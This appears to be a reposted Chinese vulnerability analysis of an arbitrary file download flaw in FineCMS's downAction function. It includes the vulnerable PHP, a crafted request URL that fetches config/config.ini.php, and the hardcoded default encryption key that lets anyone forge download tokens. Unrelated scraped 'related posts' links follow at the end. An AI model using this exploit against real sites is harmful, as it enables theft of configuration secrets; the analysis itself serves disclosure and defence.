漏洞文件在D:\wamp\www\controllers\ApiController.php中的downAction函数

```

/**

* 下载文件

*/

public function downAction() {

$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');

$file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';

if (empty($file)) {

$this->msg(lang('a-mod-213'));

}

if (strpos($file, ':/')) {

//远程

header("Location: $file");

} else {

//本地

$file = str_replace('..', '', $file);

$file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file;

if (!is_file($file)) {

$this->msg(lang('a-mod-214') . '(#' . $file . ')');

};

header('Pragma: public');

header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');

header('Cache-Control: no-store, no-cache, must-revalidate');

header('Cache-Control: pre-check=0, post-check=0, max-age=0');

header('Content-Transfer-Encoding: binary');

header('Content-Encoding: none');

header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));

header('Content-Disposition: attachment; filename="' . basename($file) . '"');

header('Content-length: ' . sprintf("%u", filesize($file)));

readfile($file);

exit;

}

}

```

其中这一行

```

$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');

```

获取变量file,然后解密,然后经过处理,进行文件下载,这里只要关注file变量可控即可

加密生成变量file的函数在D:\wamp\www\extensions\function.php中

```

/**

* 下载文件函数

*/

function downfile($url) {

return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));

}

```

如果我们想下载config/config.ini.php文件,则本地调用即可,

echo downfile('config/config.ini.php');

生成加密后的file变量

![](https://images.seebug.org/contribute/65430311-fbfb-4e81-9dfd-4324e777e6b2)

file变量为

```

file=MDI3Y1BkSEpCVUwrRGtWOFNtZHh3OVF4TCs0ZnFCRmNyanU5RHRoV2NNTldxZURGdDVRY2pxZEdpYUVkS2NqRzMvczNhVEl6NVcwdTVwZmJaRmpxSk04Vkxab3FkL3Q1eVEvMnJqZkY

```

然后再访问

```

http://localhost/code//index.php?c=api&a=down&file=MDI3Y1BkSEpCVUwrRGtWOFNtZHh3OVF4TCs0ZnFCRmNyanU5RHRoV2NNTldxZURGdDVRY2pxZEdpYUVkS2NqRzMvczNhVEl6NVcwdTVwZmJaRmpxSk04Vkxab3FkL3Q1eVEvMnJqZkY

```

![](https://images.seebug.org/contribute/639606be-d78d-46e7-93f2-034194c82d3f)

则可以任意下载了

#### update 2017.1.20 by zjp(知道创宇404安全实验室)

原分析的文档里遗漏了关键部分的代码分析(感谢phithon牛的提醒),于是我们继续分析跟进。关键函数`fn_authcode`代码位于:`/extensions/function.php`

```

➜ FineCMS grep -r "function fn_authcode" ./

.//extensions/function.php-90-/**

.//extensions/function.php-91- * authcode函数(用于数组)

.//extensions/function.php-92- */

.//extensions/function.php:93:function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {

.//extensions/function.php-94-$ckey_length = 4;

.//extensions/function.php-95-$string= $operation == 'DECODE' ? $data : array2string($data);

.//extensions/function.php-96-$key= md5($key ? $key : SITE_MEMBER_COOKIE);

```

代码如下:

```php

function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$string= $operation == 'DECODE' ? $data : array2string($data);

$key= md5($key ? $key : SITE_MEMBER_COOKIE);

$keya= md5(substr($key, 0, 16));

$keyb= md5(substr($key, 16, 16));

$keyc= $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey= $keya . md5($keya . $keyc);

$key_length = strlen($cryptkey);

$string= $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;

$string_length= strlen($string);

$result = '';

$box= range(0, 255);

$rndkey = array();

for($i= 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {

return string2array(substr($result, 26));

} else {

return '';

}

} else {

return $keyc . str_replace('=', '', base64_encode($result));

}

}

```

注意里面的

```php

$key = md5($key ? $key : SITE_MEMBER_COOKIE); //如果没有设置$key 就会取SITE_MEMBER_COOKIE

```

继续跟进SITE_MEMBER_COOKIE:

```

➜ FineCMS grep -r "SITE_MEMBER_COOKIE" ./

.//config/config.ini.php-14-'SYS_LOG' => false, //程序运行日志开关,日志目录(项目目录/logs/)

.//config/config.ini.php-15-'SYS_VAR_PREX' => 'finecms_b1bf4_', //Sessoin、Cookie变量前缀

.//config/config.ini.php-16-'SYS_GZIP' => false, //是否Gzip压缩后输出

.//config/config.ini.php:17:'SITE_MEMBER_COOKIE' => '2967e68d382902a', //Cookie随机字符串

.//config/config.ini.php-18-'SESSION_COOKIE_DOMAIN' => '', //多站点会员登录状态跨域保存域名,格式如.finecms.net(只针对多站点域名全是二级域名否则请留空)

.//config/config.ini.php-19-'SYS_EDITOR' => 'ueditor', //系统编辑器设置,默认kindeditor(自定义编辑器直接填写目录名称,如ueditor)

.//config/config.ini.php-20-'SYS_CAPTCHA_MODE' => '0', //验证码输出模式:0,普通模式;1,兼容模式,若验证码显示不正常可在此调整输出模式

```

使用了默认值`'2967e68d382902a'`,所以我们可以得出如下结论:

`fn_authcode`函数生成的字符串在key默认情况下,只与`SITE_MEMBER_COOKIE`的值有关,属于默认配置问题。使用相同的SITE_MEMBER_COOKIE会导致文中所说的任意文件下载(线上有不少案例),当然理论上这个值也可以进行爆破的(:з」∠)。 目前官方下载的 Finecms 的`SITE_MEMBER_COOKIE`默认设置为`2967e68d382902a`

另外我们注意到ucenter的`$cookiecode`也是使用的默认,可能导致类似的安全问题

```

➜ FineCMS grep -r "2967e68d382902a" ./

.//config/config.ini.php-14-'SYS_LOG' => false, //程序运行日志开关,日志目录(项目目录/logs/)

.//config/config.ini.php-15-'SYS_VAR_PREX' => 'finecms_b1bf4_', //Sessoin、Cookie变量前缀

.//config/config.ini.php-16-'SYS_GZIP' => false, //是否Gzip压缩后输出

.//config/config.ini.php:17:'SITE_MEMBER_COOKIE' => '2967e68d382902a', //Cookie随机字符串

.//config/config.ini.php-18-'SESSION_COOKIE_DOMAIN' => '', //多站点会员登录状态跨域保存域名,格式如.finecms.net(只针对多站点域名全是二级域名否则请留空)

.//config/config.ini.php-19-'SYS_EDITOR' => 'ueditor', //系统编辑器设置,默认kindeditor(自定义编辑器直接填写目录名称,如ueditor)

.//config/config.ini.php-20-'SYS_CAPTCHA_MODE' => '0', //验证码输出模式:0,普通模式;1,兼容模式,若验证码显示不正常可在此调整输出模式

--

--

.//extensions/ucenter/config.inc.php-39-$cookiedomain = '';

.//extensions/ucenter/config.inc.php-40-$cookiepath = '/';

.//extensions/ucenter/config.inc.php-41-$cookiepre = 'finecms_b1bf4_';

.//extensions/ucenter/config.inc.php:42:$cookiecode = '2967e68d382902a';

.//extensions/ucenter/config.inc.php-43-?>

```

php ccontroller,FineCMS controllers\ApiController.php 函数downAction 任意文件下载相关推荐

  1. 函数的相关操作——利用函数翻转任意数组||利用函数冒泡排序||利用函数判断闰年

    利用函数翻转任意数组 利用函数冒泡排序 利用函数判断闰年 用户输入年份,输出当前年份2月份的天数

  2. 利用函数求任意两个数之间的和

    利用函数求任意两个数之间的和 <!DOCTYPE html> <html lang="en"><head><meta charset=&q ...

  3. js:写一个函数实现任意数组的翻转

    作业1.要求写一个函数,实现任意数组的翻转(这里的任意理解为任意长度,打算用argument来实现) 刚开始的代码: // 4.写一个函数实现任意数组翻转function reverse(){var ...

  4. JavaScript-84:利用函数求任意两个数的和

    1 利用函数求任意两个数的和 function getSum (num, num1) {console.log(num + num1); } getSum(1, 2); getSum(1100, 30 ...

  5. JS学习之求带参函数求任意两个数和

    <!DOCTYPE html> <html><head><meta charset="utf-8"><title>带参函 ...

  6. 函数在任意三角区域二重积分的计算

    函数在任意三角区域二重积分的计算 三角区域变换 设有三角形△ABC\triangle ABC△ABC其中A:(x1,y1),B:(x2,y2),C(x3,y3)A:(x_1,y_1),B:(x_2,y ...

  7. python编写函数、给定任意字符串_编写函数,给定任意字符串,找出其中只出现一次的字符,如果有多个这样的字符,就全部找出。...

    [简答题]编写程序,实现分段函数计算,如下表所示. x y x<0 0 0<=x<5 x 5<=x<10 3x-5 10<=x<20 0.5x-2 20< ...

  8. 【Python】向函数传递任意数量的实参

    传递任意数量的实参 有时候,你预先不知道函数需要接受多少个实参,好在Python允许函数从调用语句中收集任意数量的实参 def get_letter(*letters):for i in letter ...

  9. Python:向函数传递任意数量的实参

    传递任意数量的实参 有时候,你预先不知道函数需要接受多少个实参,好在Python允许函数从调用语句中收集任意数量的实参 def get_letter(*letters):for i in letter ...

最新文章

  1. readonly时禁用删除键,readonly按删除键后页面后退解决方案
  2. Python基础06 循环
  3. NYOJ 38 布线问题
  4. vue之父子组件通信
  5. db2和mysql语句区别_db2和mysql语法的区别是什么
  6. jaxb 解析list元素_JAXB和根元素
  7. bzoj 1083 繁忙的都市
  8. 解决asterisk sip呼叫 488 no acceptable here
  9. Linux 启动失败 磁盘阵列,组建RAID5重启系统,出现md127的解决办法
  10. 利用sqoop将oracle 11g中的表迁移至hive表
  11. 北乐博客装饰分享CSS+HTML+js
  12. CentOS connect:fail, reason: connect server 22 port fail
  13. i8一点通无盘解决方案
  14. 简约记账系统基于android,基于Android平台的手机记账系统的设计与实现
  15. 矢量网络分析仪测试软件,ZND 矢量网络分析仪
  16. IDEA统计自己写了多少行Java代码,看看自己的辛劳成果吧
  17. JavaScript 实现简单的移动和缓动的效果
  18. 北漂人的独白,是否有所共鸣
  19. php 法定节假日接口,通过百度接口获取每一个月的工作和法定假日
  20. xyoj 6042:让人头疼的“双十一”

热门文章

  1. ASP.NET Web API 入门 (API接口、寄宿方式、HttpClient调用)
  2. Unix中使用MeteoInfo - Xmanager设置
  3. 题目1111:单词替换
  4. 巨量引擎初级营销认证题库_“移动营销,智赢未来”巨量引擎4月招商加盟专场沙龙圆满落幕...
  5. 在手机里输入八卦及64卦符号(老年教程)
  6. Android通过命令连接wifi(解决usb不能用+无屏幕情况)
  7. Win10设置WSL大小写敏感
  8. 导数/微分/积分的区别
  9. SpringBoot之第一个Restfu示例
  10. “后序遍历二叉运算树进行Lambda演算的化简”带来的联系